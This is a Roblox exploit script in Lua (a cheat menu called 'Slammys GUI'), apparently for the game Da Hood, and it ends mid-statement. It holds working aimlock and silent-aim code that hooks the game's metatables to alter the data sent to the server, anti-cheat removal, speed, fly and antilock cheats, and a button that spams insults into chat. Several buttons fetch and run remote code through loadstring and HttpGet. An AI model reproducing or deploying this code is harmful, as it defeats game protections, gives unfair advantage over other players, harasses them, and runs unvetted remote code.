local OrionLib = loadstring(game:HttpGet(('https://raw.githubusercontent.com/shlexware/Orion/main/source')))() local Window = OrionLib:MakeWindow({Name = "Slammys GUI", HidePremium = false, SaveConfig = true, ConfigFolder = "OrionTest"}) local Tab = Window:MakeTab({Name = "Rage", Icon = "rbxassetid://8850953349", PremiumOnly = false}) Tab:AddButton({Name = "Thusky Lock super close B", Callback = function() -- thusky old lock local CC = game:GetService"Workspace".CurrentCamera local Plr local enabled = falseWD local accomidationfactor = 0.135 local mouse = game.Players.LocalPlayer:GetMouse() local placemarker = Instance.new("Part", game.Workspace) function makemarker(Parent, Adornee, Color, Size, Size2) local e = Instance.new("BillboardGui", Parent) e.Name = "PP" e.Adornee = Adornee e.Size = UDim2.new(Size, Size2, Size, Size2) e.AlwaysOnTop = true local a = Instance.new("Frame", e) a.Size = UDim2.new(1, 0, 2, 0) a.BackgroundTransparency = 0 a.BackgroundColor3 = Color local g = Instance.new("UICorner", a) g.CornerRadius = UDim.new(30, 30) return(e) end local data = game.Players:GetPlayers() function noob(player) local character repeat wait() until player.Character local handler = makemarker(guimain, player.Character:WaitForChild("LowerTorso"), Color3.fromRGB(119, 0, 0), 0.3, 3) handler.Name = player.Name player.CharacterAdded:connect(function(Char) handler.Adornee = Char:WaitForChild("LowerTorso") end) spawn(function() while wait() do if player.Character then TextLabel.Text = player.Name..tostring(player:WaitForChild("leaderstats").Wanted.Value).." | "..tostring(math.floor(player.Character:WaitForChild("Humanoid").Health)) end end end) end for i = 1, #data do if data[i] ~= game.Players.LocalPlayer then noob(data[i]) end end game.Players.PlayerAdded:connect(function(Player) noob(Player) end) spawn(function() placemarker.Anchored = true placemarker.CanCollide = false placemarker.Size = Vector3.new(4, 4, 4) placemarker.Transparency = 0.57 makemarker(placemarker, placemarker, Color3.fromRGB(119, 0, 0), 0.40, 0) end) mouse.KeyDown:Connect(function(k) if k ~= "b" then return end if enabled then enabled = false guimain[Plr.Name].Frame.BackgroundColor3 = Color3.fromRGB(255, 255, 255) else enabled = true Plr = getClosestPlayerToCursor() guimain[Plr.Name].Frame.BackgroundColor3 = Color3.fromRGB(255, 0, 0) end end) function getClosestPlayerToCursor() local closestPlayer local shortestDistance = math.huge for i, v in pairs(game.Players:GetPlayers()) do if v ~= game.Players.LocalPlayer and v.Character and v.Character:FindFirstChild("Humanoid") and v.Character.Humanoid.Health ~= 0 and v.Character:FindFirstChild("LowerTorso") then local pos = CC:WorldToViewportPoint(v.Character.PrimaryPart.Position) local magnitude = (Vector2.new(pos.X, pos.Y) - Vector2.new(mouse.X, mouse.Y)).magnitude if magnitude < shortestDistance then closestPlayer = v shortestDistance = magnitude end end end return closestPlayer end game:GetService"RunService".Stepped:connect(function() if enabled and Plr.Character and Plr.Character:FindFirstChild("LowerTorso") then placemarker.CFrame = CFrame.new(Plr.Character.LowerTorso.Position+(Plr.Character.LowerTorso.Velocity*accomidationfactor)) else placemarker.CFrame = CFrame.new(0, 9999, 0) end end) local mt = getrawmetatable(game) local old = mt.__namecall setreadonly(mt, false) mt.__namecall = newcclosure(function(...) local args = {...} if enabled and getnamecallmethod() == "FireServer" and args[2] == "UpdateMousePos" then args[3] = Plr.Character.HumanoidRootPart.Position+(Plr.Character.HumanoidRootPart.Velocity*accomidationfactor) return old(unpack(args)) end return old(...) end) end}) Tab:AddButton({Name = "Thusky Close Q", Callback = function() -- thusky old lock local CC = game:GetService"Workspace".CurrentCamera local Plr local enabled = falseWD local accomidationfactor = 0.161 local mouse = game.Players.LocalPlayer:GetMouse() local placemarker = Instance.new("Part", game.Workspace) function makemarker(Parent, Adornee, Color, Size, Size2) local e = Instance.new("BillboardGui", Parent) e.Name = "PP" e.Adornee = Adornee e.Size = UDim2.new(Size, Size2, Size, Size2) e.AlwaysOnTop = true local a = Instance.new("Frame", e) a.Size = UDim2.new(1, 0, 2, 0) a.BackgroundTransparency = 0 a.BackgroundColor3 = Color local g = Instance.new("UICorner", a) g.CornerRadius = UDim.new(30, 30) return(e) end local data = game.Players:GetPlayers() function noob(player) local character repeat wait() until player.Character local handler = makemarker(guimain, player.Character:WaitForChild("LowerTorso"), Color3.fromRGB(119, 0, 0), 0.3, 3) handler.Name = player.Name player.CharacterAdded:connect(function(Char) handler.Adornee = Char:WaitForChild("LowerTorso") end) spawn(function() while wait() do if player.Character then TextLabel.Text = player.Name..tostring(player:WaitForChild("leaderstats").Wanted.Value).." | "..tostring(math.floor(player.Character:WaitForChild("Humanoid").Health)) end end end) end for i = 1, #data do if data[i] ~= game.Players.LocalPlayer then noob(data[i]) end end game.Players.PlayerAdded:connect(function(Player) noob(Player) end) spawn(function() placemarker.Anchored = true placemarker.CanCollide = false placemarker.Size = Vector3.new(4, 4, 4) placemarker.Transparency = 0.57 makemarker(placemarker, placemarker, Color3.fromRGB(119, 0, 0), 0.40, 0) end) mouse.KeyDown:Connect(function(k) if k ~= "q" then return end if enabled then enabled = false guimain[Plr.Name].Frame.BackgroundColor3 = Color3.fromRGB(255, 255, 255) else enabled = true Plr = getClosestPlayerToCursor() guimain[Plr.Name].Frame.BackgroundColor3 = Color3.fromRGB(255, 0, 0) end end) function getClosestPlayerToCursor() local closestPlayer local shortestDistance = math.huge for i, v in pairs(game.Players:GetPlayers()) do if v ~= game.Players.LocalPlayer and v.Character and v.Character:FindFirstChild("Humanoid") and v.Character.Humanoid.Health ~= 0 and v.Character:FindFirstChild("LowerTorso") then local pos = CC:WorldToViewportPoint(v.Character.PrimaryPart.Position) local magnitude = (Vector2.new(pos.X, pos.Y) - Vector2.new(mouse.X, mouse.Y)).magnitude if magnitude < shortestDistance then closestPlayer = v shortestDistance = magnitude end end end return closestPlayer end game:GetService"RunService".Stepped:connect(function() if enabled and Plr.Character and Plr.Character:FindFirstChild("LowerTorso") then placemarker.CFrame = CFrame.new(Plr.Character.LowerTorso.Position+(Plr.Character.LowerTorso.Velocity*accomidationfactor)) else placemarker.CFrame = CFrame.new(0, 9999, 0) end end) local mt = getrawmetatable(game) local old = mt.__namecall setreadonly(mt, false) mt.__namecall = newcclosure(function(...) local args = {...} if enabled and getnamecallmethod() == "FireServer" and args[2] == "UpdateMousePos" then args[3] = Plr.Character.HumanoidRootPart.Position+(Plr.Character.HumanoidRootPart.Velocity*accomidationfactor) return old(unpack(args)) end return old(...) end) end}) Tab:AddButton({Name = "Thusky Mid C", Callback = function() -- thusky old lock local CC = game:GetService"Workspace".CurrentCamera local Plr local enabled = falseWD local accomidationfactor = 0.165 local mouse = game.Players.LocalPlayer:GetMouse() local placemarker = Instance.new("Part", game.Workspace) function makemarker(Parent, Adornee, Color, Size, Size2) local e = Instance.new("BillboardGui", Parent) e.Name = "PP" e.Adornee = Adornee e.Size = UDim2.new(Size, Size2, Size, Size2) e.AlwaysOnTop = true local a = Instance.new("Frame", e) a.Size = UDim2.new(1, 0, 2, 0) a.BackgroundTransparency = 0 a.BackgroundColor3 = Color local g = Instance.new("UICorner", a) g.CornerRadius = UDim.new(30, 30) return(e) end local data = game.Players:GetPlayers() function noob(player) local character repeat wait() until player.Character local handler = makemarker(guimain, player.Character:WaitForChild("LowerTorso"), Color3.fromRGB(119, 0, 0), 0.3, 3) handler.Name = player.Name player.CharacterAdded:connect(function(Char) handler.Adornee = Char:WaitForChild("LowerTorso") end) spawn(function() while wait() do if player.Character then TextLabel.Text = player.Name..tostring(player:WaitForChild("leaderstats").Wanted.Value).." | "..tostring(math.floor(player.Character:WaitForChild("Humanoid").Health)) end end end) end for i = 1, #data do if data[i] ~= game.Players.LocalPlayer then noob(data[i]) end end game.Players.PlayerAdded:connect(function(Player) noob(Player) end) spawn(function() placemarker.Anchored = true placemarker.CanCollide = false placemarker.Size = Vector3.new(4, 4, 4) placemarker.Transparency = 0.57 makemarker(placemarker, placemarker, Color3.fromRGB(119, 0, 0), 0.40, 0) end) mouse.KeyDown:Connect(function(k) if k ~= "c" then return end if enabled then enabled = false guimain[Plr.Name].Frame.BackgroundColor3 = Color3.fromRGB(255, 255, 255) else enabled = true Plr = getClosestPlayerToCursor() guimain[Plr.Name].Frame.BackgroundColor3 = Color3.fromRGB(255, 0, 0) end end) function getClosestPlayerToCursor() local closestPlayer local shortestDistance = math.huge for i, v in pairs(game.Players:GetPlayers()) do if v ~= game.Players.LocalPlayer and v.Character and v.Character:FindFirstChild("Humanoid") and v.Character.Humanoid.Health ~= 0 and v.Character:FindFirstChild("LowerTorso") then local pos = CC:WorldToViewportPoint(v.Character.PrimaryPart.Position) local magnitude = (Vector2.new(pos.X, pos.Y) - Vector2.new(mouse.X, mouse.Y)).magnitude if magnitude < shortestDistance then closestPlayer = v shortestDistance = magnitude end end end return closestPlayer end game:GetService"RunService".Stepped:connect(function() if enabled and Plr.Character and Plr.Character:FindFirstChild("LowerTorso") then placemarker.CFrame = CFrame.new(Plr.Character.LowerTorso.Position+(Plr.Character.LowerTorso.Velocity*accomidationfactor)) else placemarker.CFrame = CFrame.new(0, 9999, 0) end end) local mt = getrawmetatable(game) local old = mt.__namecall setreadonly(mt, false) mt.__namecall = newcclosure(function(...) local args = {...} if enabled and getnamecallmethod() == "FireServer" and args[2] == "UpdateMousePos" then args[3] = Plr.Character.HumanoidRootPart.Position+(Plr.Character.HumanoidRootPart.Velocity*accomidationfactor) return old(unpack(args)) end return old(...) end) end}) Tab:AddButton({Name = "Thusky Far N", Callback = function() -- thusky old lock local CC = game:GetService"Workspace".CurrentCamera local Plr local enabled = falseWD local accomidationfactor = 0.173 local mouse = game.Players.LocalPlayer:GetMouse() local placemarker = Instance.new("Part", game.Workspace) function makemarker(Parent, Adornee, Color, Size, Size2) local e = Instance.new("BillboardGui", Parent) e.Name = "PP" e.Adornee = Adornee e.Size = UDim2.new(Size, Size2, Size, Size2) e.AlwaysOnTop = true local a = Instance.new("Frame", e) a.Size = UDim2.new(1, 0, 2, 0) a.BackgroundTransparency = 0 a.BackgroundColor3 = Color local g = Instance.new("UICorner", a) g.CornerRadius = UDim.new(30, 30) return(e) end local data = game.Players:GetPlayers() function noob(player) local character repeat wait() until player.Character local handler = makemarker(guimain, player.Character:WaitForChild("LowerTorso"), Color3.fromRGB(119, 0, 0), 0.3, 3) handler.Name = player.Name player.CharacterAdded:connect(function(Char) handler.Adornee = Char:WaitForChild("LowerTorso") end) spawn(function() while wait() do if player.Character then TextLabel.Text = player.Name..tostring(player:WaitForChild("leaderstats").Wanted.Value).." | "..tostring(math.floor(player.Character:WaitForChild("Humanoid").Health)) end end end) end for i = 1, #data do if data[i] ~= game.Players.LocalPlayer then noob(data[i]) end end game.Players.PlayerAdded:connect(function(Player) noob(Player) end) spawn(function() placemarker.Anchored = true placemarker.CanCollide = false placemarker.Size = Vector3.new(4, 4, 4) placemarker.Transparency = 0.57 makemarker(placemarker, placemarker, Color3.fromRGB(119, 0, 0), 0.40, 0) end) mouse.KeyDown:Connect(function(k) if k ~= "n" then return end if enabled then enabled = false guimain[Plr.Name].Frame.BackgroundColor3 = Color3.fromRGB(255, 255, 255) else enabled = true Plr = getClosestPlayerToCursor() guimain[Plr.Name].Frame.BackgroundColor3 = Color3.fromRGB(255, 0, 0) end end) function getClosestPlayerToCursor() local closestPlayer local shortestDistance = math.huge for i, v in pairs(game.Players:GetPlayers()) do if v ~= game.Players.LocalPlayer and v.Character and v.Character:FindFirstChild("Humanoid") and v.Character.Humanoid.Health ~= 0 and v.Character:FindFirstChild("LowerTorso") then local pos = CC:WorldToViewportPoint(v.Character.PrimaryPart.Position) local magnitude = (Vector2.new(pos.X, pos.Y) - Vector2.new(mouse.X, mouse.Y)).magnitude if magnitude < shortestDistance then closestPlayer = v shortestDistance = magnitude end end end return closestPlayer end game:GetService"RunService".Stepped:connect(function() if enabled and Plr.Character and Plr.Character:FindFirstChild("LowerTorso") then placemarker.CFrame = CFrame.new(Plr.Character.LowerTorso.Position+(Plr.Character.LowerTorso.Velocity*accomidationfactor)) else placemarker.CFrame = CFrame.new(0, 9999, 0) end end) local mt = getrawmetatable(game) local old = mt.__namecall setreadonly(mt, false) mt.__namecall = newcclosure(function(...) local args = {...} if enabled and getnamecallmethod() == "FireServer" and args[2] == "UpdateMousePos" then args[3] = Plr.Character.HumanoidRootPart.Position+(Plr.Character.HumanoidRootPart.Velocity*accomidationfactor) return old(unpack(args)) end return old(...) end) end}) Tab:AddButton({Name = "MoonGod", Callback = function() loadstring(game:HttpGet("https://raw.githubusercontent.com/slammy1/moongod/main/moongod" ))() end}) Tab:AddButton({Name = "Hitbox", Callback = function() local CC = game:GetService"Workspace".CurrentCamera local Plr local enabled = false local accomidationfactor = 0.159 local mouse = game.Players.LocalPlayer:GetMouse() local placemarker = Instance.new("Part", game.Workspace) function SendNotification(e, a, dur) game.StarterGui:SetCore("SendNotification", {Title = "lol slamy" ; Text = a; Icon = "http://www.roblox.com/asset/?id=8850953349"; Duration = dur;}) end function makemarker(Parent, Adornee, Color, Size, Size2) local e = Instance.new("BillboardGui", Parent) e.Name = "PP" e.Adornee = Adornee e.Size = UDim2.new(Size, Size2, Size, Size2) e.AlwaysOnTop = true local a = Instance.new("Frame", e) a.Size = UDim2.new(1, 0, 1, 0) a.BackgroundTransparency = 3 a.BackgroundColor3 = Color local g = Instance.new("UICorner", a) g.CornerRadius = UDim.new(50, 50) return(e) end local data = game.Players:GetPlayers() function noob(player) repeat wait() until player.Character local handler = makemarker(guimain, player.Character:WaitForChild("HumanoidRootPart"), Color3.fromRGB(107, 184, 255), 0.3, 3) handler.Name = player.Name player.CharacterAdded:connect(function(Char) handler.Adornee = Char:WaitForChild("HumanoidRootPart") end) spawn(function() while wait() do if player.Character then TextLabel.Text = player.Name..tostring(player:WaitForChild("leaderstats").Wanted.Value).." | "..tostring(math.floor(player.Character:WaitForChild("Humanoid").Health)) end end end) end for i = 1, #data do if data[i] ~= game.Players.LocalPlayer then noob(data[i]) end end game.Players.PlayerAdded:connect(function(Player) noob(Player) end) spawn(function() placemarker.Anchored = true placemarker.CanCollide = false placemarker.Size = Vector3.new(4, 4, 4) placemarker.Transparency = 0.100 makemarker(placemarker, placemarker, Color3.fromRGB(82, 112, 234), 0.40, 0) end) mouse.KeyDown:Connect(function(k) if k ~= "q" then return end if enabled then enabled = false SendNotification('HuntersLock', "Unlocked", 3) guimain[Plr.Name].Frame.BackgroundColor3 = Color3.fromRGB(255, 255, 255) else enabled = true Plr = getClosestPlayerToCursor() SendNotification('HuntersLock', "Locked onto "..Plr.Name, 3) guimain[Plr.Name].Frame.BackgroundColor3 = Color3.fromRGB(255, 0, 0) end end) function getClosestPlayerToCursor() local closestPlayer local shortestDistance = math.huge for i, v in pairs(game.Players:GetPlayers()) do if v ~= game.Players.LocalPlayer and v.Character and v.Character:FindFirstChild("Humanoid") and v.Character.Humanoid.Health ~= 0 and v.Character:FindFirstChild("HumanoidRootPart") then local pos = CC:WorldToViewportPoint(v.Character.PrimaryPart.Position) local magnitude = (Vector2.new(pos.X, pos.Y) - Vector2.new(mouse.X, mouse.Y)).magnitude if magnitude < shortestDistance then closestPlayer = v shortestDistance = magnitude end end end return closestPlayer end game:GetService"RunService".Stepped:connect(function() if enabled and Plr.Character and Plr.Character:FindFirstChild("HumanoidRootPart") then placemarker.CFrame = CFrame.new(Plr.Character.HumanoidRootPart.Position+(Plr.Character.HumanoidRootPart.Velocity*accomidationfactor)) else placemarker.CFrame = CFrame.new(0, 9999, 0) end end) local mt = getrawmetatable(game) local old = mt.__namecall setreadonly(mt, false) mt.__namecall = newcclosure(function(...) local args = {...} if enabled and getnamecallmethod() == "FireServer" and args[2] == "UpdateMousePos" then args[3] = Plr.Character.HumanoidRootPart.Position+(Plr.Character.HumanoidRootPart.Velocity*accomidationfactor) return old(unpack(args)) end return old(...) end) end}) Tab:AddButton({Name = "Silent Aim (streamable)", Callback = function() -- // Dependencies local Aiming = loadstring(game:HttpGet("https://raw.githubusercontent.com/slammy1/Silent-Aim/main/Silent%20Aim"))() Aiming.TeamCheck(false) -- // Services local Workspace = game:GetService("Workspace") local Players = game:GetService("Players") local RunService = game:GetService("RunService") local UserInputService = game:GetService("UserInputService") -- // Vars local LocalPlayer = Players.LocalPlayer local Mouse = LocalPlayer:GetMouse() local CurrentCamera = Workspace.CurrentCamera local DaHoodSettings = { SilentAim = true, AimLock = false, Prediction = 0.164, AimLockKeybind = Enum.KeyCode.Q } getgenv().DaHoodSettings = DaHoodSettings -- // Overwrite to account downed function Aiming.Check() -- // Check A if not (Aiming.Enabled == true and Aiming.Selected ~= LocalPlayer and Aiming.SelectedPart ~= nil) then return false end -- // Check if downed local Character = Aiming.Character(Aiming.Selected) local KOd = Character:WaitForChild("BodyEffects")["K.O"].Value local Grabbed = Character:FindFirstChild("GRABBING_CONSTRAINT") ~= nil -- // Check B if (KOd or Grabbed) then return false end -- // return true end -- // Hook local __index __index = hookmetamethod(game, "__index", function(t, k) -- // Check if it trying to get our mouse's hit or target and see if we can use it if (t:IsA("Mouse") and (k == "Hit" or k == "Target") and Aiming.Check()) then -- // Vars local SelectedPart = Aiming.SelectedPart -- // Hit/Target if (DaHoodSettings.SilentAim and (k == "Hit" or k == "Target")) then -- // Hit to account prediction local Hit = SelectedPart.CFrame + (SelectedPart.Velocity * DaHoodSettings.Prediction) -- // Return modded val return (k == "Hit" and Hit or SelectedPart) end end -- // Return return __index(t, k) end) -- // Aimlock RunService:BindToRenderStep("AimLock", 0, function() if (DaHoodSettings.AimLock and Aiming.Check() and UserInputService:IsKeyDown(DaHoodSettings.AimLockKeybind)) then -- // Vars local SelectedPart = Aiming.SelectedPart -- // Hit to account prediction local Hit = SelectedPart.CFrame + (SelectedPart.Velocity * DaHoodSettings.Prediction) -- // Set the camera to face towards the Hit CurrentCamera.CFrame = CFrame.lookAt(CurrentCamera.CFrame.Position, Hit.Position) end end) end}) Tab:AddButton({Name = "Streamable Aimlock", Callback = function() getgenv().AimingSettings = { Aimbot = { Radius = 45, Hitbox = "Head", CameraMode = true, MouseMode = false, HitAirshots = false, AutoPrediction = false, NotificationMode = false, Keybind = Enum.KeyCode.Q, PredictionAmount = 0.165, Smoothing = { Enabled = true, Amount = 0.025 }, } } loadstring(game:HttpGet("https://raw.githubusercontent.com/Tenakii/tenaaki/main/genericaimbot.v.2.0.0"))() end}) local Tab = Window:MakeTab({Name = "Misc", Icon = "rbxassetid://8850953349", PremiumOnly = false}) Tab:AddButton({Name = "Antistomp", Callback = function() game.Players.LocalPlayer:GetMouse().KeyDown:Connect(function(KeyPressed) if KeyPressed == "m" then for L_170_forvar0, L_171_forvar1 in pairs(game.Players.LocalPlayer.Character:GetDescendants()) do if L_171_forvar1:IsA("BasePart") then L_171_forvar1:Destroy() end end end end) end}) Tab:AddButton({Name = "No Recoil", Callback = function() local CurrentFocus = game:GetService("Workspace").CurrentCamera.CFrame game:GetService("Workspace").CurrentCamera:Destroy() local Instance = Instance.new("Camera", game:GetService("Workspace")) Instance.CameraSubject = game:GetService("Players").LocalPlayer.Character.Humanoid Instance.CameraType = Enum.CameraType.Custom Instance.CFrame = CurrentFocus end}) Tab:AddButton({Name = "no jump cooldown", Callback = function() if not game.IsLoaded(game) then game.Loaded.Wait(game.Loaded); end local IsA = game.IsA; local newindex = nil newindex = hookmetamethod(game, "__newindex", function(self, Index, Value) if not checkcaller() and IsA(self, "Humanoid") and Index == "JumpPower" then return end return newindex(self, Index, Value); end) end}) Tab:AddButton({Name = "no fog", Callback = function() while true do wait() game.Lighting.FogEnd = 1000000 wait() end end}) Tab:AddButton({Name = "Antilock ON", Callback = function() getgenv().cframespeedtoggle = false getgenv().speedvalue = 0.35 getgenv().Spinbot = false getgenv().Jitter = false getgenv().Layspinbot = false getgenv().AntiAim1 = false getgenv().AntiAim2 = false getgenv().antistomplo = false getgenv().autoreload = false getgenv().autostomp = false getgenv().antibag = false getgenv().trashtalkl = false getgenv().antilock = true getgenv().antilockspeed = 0.07 -- local Jit = math.random(30, 90) local Angle = 60 _G.Save0 = game.Players.LocalPlayer.Character.Head.face.Texture _G.Save1 = game.Players.LocalPlayer.Character.Animate.idle.Animation1.AnimationId _G.Save2 = game.Players.LocalPlayer.Character.Animate.run.RunAnim.AnimationId _G.Save3 = game.Players.LocalPlayer.Character.Animate.walk.WalkAnim.AnimationId game:GetService("RunService").Heartbeat:Connect( function() if getgenv().antilock then game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame + -game.Players.LocalPlayer.Character.Humanoid.MoveDirection * getgenv().antilockspeed end end) end}) Tab:AddButton({Name = "Antilock OFF", Callback = function() getgenv().cframespeedtoggle = false getgenv().speedvalue = 0.35 getgenv().Spinbot = false getgenv().Jitter = false getgenv().Layspinbot = false getgenv().AntiAim1 = false getgenv().AntiAim2 = false getgenv().antistomplo = false getgenv().autoreload = false getgenv().autostomp = false getgenv().antibag = false getgenv().trashtalkl = false getgenv().antilock = false getgenv().antilockspeed = 0.6 -- local Jit = math.random(30, 90) local Angle = 60 _G.Save0 = game.Players.LocalPlayer.Character.Head.face.Texture _G.Save1 = game.Players.LocalPlayer.Character.Animate.idle.Animation1.AnimationId _G.Save2 = game.Players.LocalPlayer.Character.Animate.run.RunAnim.AnimationId _G.Save3 = game.Players.LocalPlayer.Character.Animate.walk.WalkAnim.AnimationId game:GetService("RunService").Heartbeat:Connect( function() if getgenv().antilock then game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame + -game.Players.LocalPlayer.Character.Humanoid.MoveDirection * getgenv().antilockspeed end end) end}) Tab:AddButton({Name = "Cframe Z", Callback = function() local Settings = { Aimlock = { AimPart = "LowerTorso", AimlockKey = "Q", Prediction = 0.143, FOVEnabled = false, FOVShow = false, FOVSize = 30, Enabled = false }, SilentAim = { Key = "C", AimAt = "LowerTorso", PredictionAmount = 0.139, FOVEnabled = false, FOVShow = false, FOVSize = 0, Enabled = false, KeyToLockOn = false }, CFSpeed = { Speed = 1.7, Enabled = true, Toggled = true; Key = "Z" } } --// Variables (Service) local Players = game:GetService("Players") local RS = game:GetService("RunService") local WS = game:GetService("Workspace") local GS = game:GetService("GuiService") local SG = game:GetService("StarterGui") local UIS = game:GetService("UserInputService") --// Variables (regular) local LP = Players.LocalPlayer local Mouse = LP:GetMouse() local Camera = WS.CurrentCamera local GetGuiInset = GS.GetGuiInset local AimlockState = false local aimLocked local lockVictim --// Anti-Cheat repeat wait() until LP.Character:FindFirstChild("FULLY_LOADED_CHAR"); for _,ac in pairs(LP.Character:GetChildren()) do if (ac:IsA("Script") and ac.Name ~= "Animate" and ac.Name ~= "Health") then ac:Destroy(); end; end; LP.Character.ChildAdded:Connect(function(child) if (child:IsA("Script") and child.Name ~= "Animate" and ac.Name ~= "Health") then child:Destroy(); end; end); --// CFrame Speed local userInput = game:GetService('UserInputService') local runService = game:GetService('RunService') Mouse.KeyDown:connect(function(Key) local cfKey = Settings.CFSpeed.Key:lower() if (Key == cfKey) then if (Settings.CFSpeed.Toggled) then Settings.CFSpeed.Enabled = not Settings.CFSpeed.Enabled if (Settings.CFSpeed.Enabled == true) then repeat game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame + game.Players.LocalPlayer.Character.Humanoid.MoveDirection * Settings.CFSpeed.Speed game:GetService("RunService").Stepped:wait() until Settings.CFSpeed.Enabled == false end end end end) --// FOV Circle local fov = Drawing.new("Circle") fov.Filled = false fov.Transparency = 1 fov.Thickness = 1 fov.Color = Color3.fromRGB(255, 255, 0) --// Functions function updateLock() if Settings.Aimlock.FOVEnabled == true and Settings.Aimlock.FOVShow == true then if fov then fov.Radius = Settings.Aimlock.FOVSize * 2 fov.Visible = Settings.Aimlock.FOVShow fov.Position = Vector2.new(Mouse.X, Mouse.Y + GetGuiInset(GS).Y) return fov end else Settings.Aimlock.FOVShow = false fov.Visible = false end end function WTVP(arg) return Camera:WorldToViewportPoint(arg) end function WTSP(arg) return Camera.WorldToScreenPoint(Camera, arg) end function getClosest() local closestPlayer local shortestDistance = math.huge for i, v in pairs(game.Players:GetPlayers()) do local notKO = v.Character:WaitForChild("BodyEffects")["K.O"].Value ~= true local notGrabbed = v.Character:FindFirstChild("GRABBING_COINSTRAINT") == nil if v ~= game.Players.LocalPlayer and v.Character and v.Character:FindFirstChild("Humanoid") and v.Character.Humanoid.Health ~= 0 and v.Character:FindFirstChild(Settings.Aimlock.AimPart) and notKO and notGrabbed then local pos = Camera:WorldToViewportPoint(v.Character.PrimaryPart.Position) local magnitude = (Vector2.new(pos.X, pos.Y) - Vector2.new(Mouse.X, Mouse.Y)).magnitude if (Settings.Aimlock.FOVEnabled) then if (fov.Radius > magnitude and magnitude < shortestDistance) then closestPlayer = v shortestDistance = magnitude end else if (magnitude < shortestDistance) then closestPlayer = v shortestDistance = magnitude end end end end return closestPlayer end end}) Tab:AddButton({Name = "Fake Macro T", Callback = function() mouse = game.Players.LocalPlayer:GetMouse() down = false local plr = game:GetService('Players').LocalPlayer function onButton1Down(mouse) down = true while down do if not down then break end local char = plr.Character char.HumanoidRootPart.Velocity = char.HumanoidRootPart.CFrame.lookVector * 250 wait() end end function onButton1Up(mouse) down = false end function onSelected(mouse) mouse.KeyDown:connect(function(k) if k:lower()=="t"then onButton1Down(mouse)end end) mouse.KeyUp:connect(function(k) if k:lower()=="t"then onButton1Up(mouse)end end) end onSelected(game.Players.LocalPlayer:GetMouse()) end}) Tab:AddButton({Name = "Rejoin", Callback = function() local TeleportService = game:GetService("TeleportService") local Players = game:GetService("Players") local LocalPlayer = Players.LocalPlayer local Rejoin = coroutine.create(function() local Success, ErrorMessage = pcall(function() TeleportService:Teleport(game.PlaceId, LocalPlayer) end) if ErrorMessage and not Success then warn(ErrorMessage) end end) coroutine.resume(Rejoin) end}) Tab:AddButton({Name = "ShitTalk", Callback = function() local words = { 'im not locking your that bad?', 'seedling', 'just quit bro', 'clown', 'sonned', 'how did u miss that many shots', 'real life trashcan', 'ratio', 'clowned on', 'ez', 'ur mom', 'ur horrible at the game', 'quit already', 'get better sonny', 'dropkicked nub', 'dogged on', 'no cap but your bad', 'you fell off', 'my dogs better than u', 'OLOLOLOLOL', 'imagine getting tapped bro?', 'failed abortion', 'adopted', 'no life', 'fell asleep', 'dam you suck', 'u need to practice', 'are you serious', 'cope', 'how are you that bad?', 'skill issue', 'your playing like a child', 'ez LOL', 'im just too cracked', 'cringe', 'get over it', 'fat', 'cry', 'clapped', 'log off', 'trained by kim', 'bros bad', 'get better at playing g', 'bro not locking g', } local player = game.Players.LocalPlayer local keybind = 'j' local event = game.ReplicatedStorage.DefaultChatSystemChatEvents.SayMessageRequest player:GetMouse().KeyDown:connect(function(key) if key == keybind then event:FireServer(words[math.random(#words)], "All") end end) end}) Tab:AddButton({Name = "Fly X", Callback = function() local plr = game.Players.LocalPlayer local mouse = plr:GetMouse() localplayer = plr if workspace:FindFirstChild("Core") then workspace.Core:Destroy() end local Core = Instance.new("Part") Core.Name = "Core" Core.Size = Vector3.new(0.05, 0.05, 0.05) spawn(function() Core.Parent = workspace local Weld = Instance.new("Weld", Core) Weld.Part0 = Core Weld.Part1 = localplayer.Character.LowerTorso Weld.C0 = CFrame.new(0, 0, 0) end) workspace:WaitForChild("Core") local torso = workspace.Core flying = true local speed=10 local keys={a=false,d=false,w=false,s=false} local e1 local e2 local function start() local pos = Instance.new("BodyPosition",torso) local gyro = Instance.new("BodyGyro",torso) pos.Name="EPIXPOS" pos.maxForce = Vector3.new(math.huge, math.huge, math.huge) pos.position = torso.Position gyro.maxTorque = Vector3.new(9e9, 9e9, 9e9) gyro.cframe = torso.CFrame repeat wait() localplayer.Character.Humanoid.PlatformStand=true local new=gyro.cframe - gyro.cframe.p + pos.position if not keys.w and not keys.s and not keys.a and not keys.d then speed=5 end if keys.w then new = new + workspace.CurrentCamera.CoordinateFrame.lookVector * speed speed=speed+0 end if keys.s then new = new - workspace.CurrentCamera.CoordinateFrame.lookVector * speed speed=speed+0 end if keys.d then new = new * CFrame.new(speed,0,0) speed=speed+0 end if keys.a then new = new * CFrame.new(-speed,0,0) speed=speed+0 end if speed>10 then speed=5 end pos.position=new.p if keys.w then gyro.cframe = workspace.CurrentCamera.CoordinateFrame*CFrame.Angles(-math.rad(speed*0),0,0) elseif keys.s then gyro.cframe = workspace.CurrentCamera.CoordinateFrame*CFrame.Angles(math.rad(speed*0),0,0) else gyro.cframe = workspace.CurrentCamera.CoordinateFrame end until flying == false if gyro then gyro:Destroy() end if pos then pos:Destroy() end flying=false localplayer.Character.Humanoid.PlatformStand=false speed=10 end e1=mouse.KeyDown:connect(function(key) if not torso or not torso.Parent then flying=false e1:disconnect() e2:disconnect() return end if key=="w" then keys.w=true elseif key=="s" then keys.s=true elseif key=="a" then keys.a=true elseif key=="d" then keys.d=true elseif key=="x" then if flying==true then flying=false else flying=true start() end end end) e2=mouse.KeyUp:connect(function(key) if key=="w" then keys.w=false elseif key=="s" then keys.s=false elseif key=="a" then keys.a=false elseif key=="d" then keys.d=false end end) start() end}) local Tab = Window:MakeTab({Name = "Charateristics", Icon = "rbxassetid://8850953349", PremiumOnly = false}) Tab:AddButton({Name = "Headless", Callback = function() loadstring(game:HttpGet("https://raw.githubusercontent.com/slammy1/headless/main/2"))() end}) Tab:AddButton({Name = "Korblox", Callback = function() loadstring(game:HttpGet("https://raw.githubusercontent.com/slammy1/korblox/main/1"))() end}) Tab:AddButton({Name = "Fat", Callback = function() loadstring(game:HttpGet("https://raw.githubusercontent.com/slammy1/fat/main/3"))() end}) Tab:AddButton({Name = "Playful Vampire", Callback = function() local L_415_ = game.Players.LocalPlayer.Character local L_416_ = L_415_:WaitForChild("Head") local L_417_ = 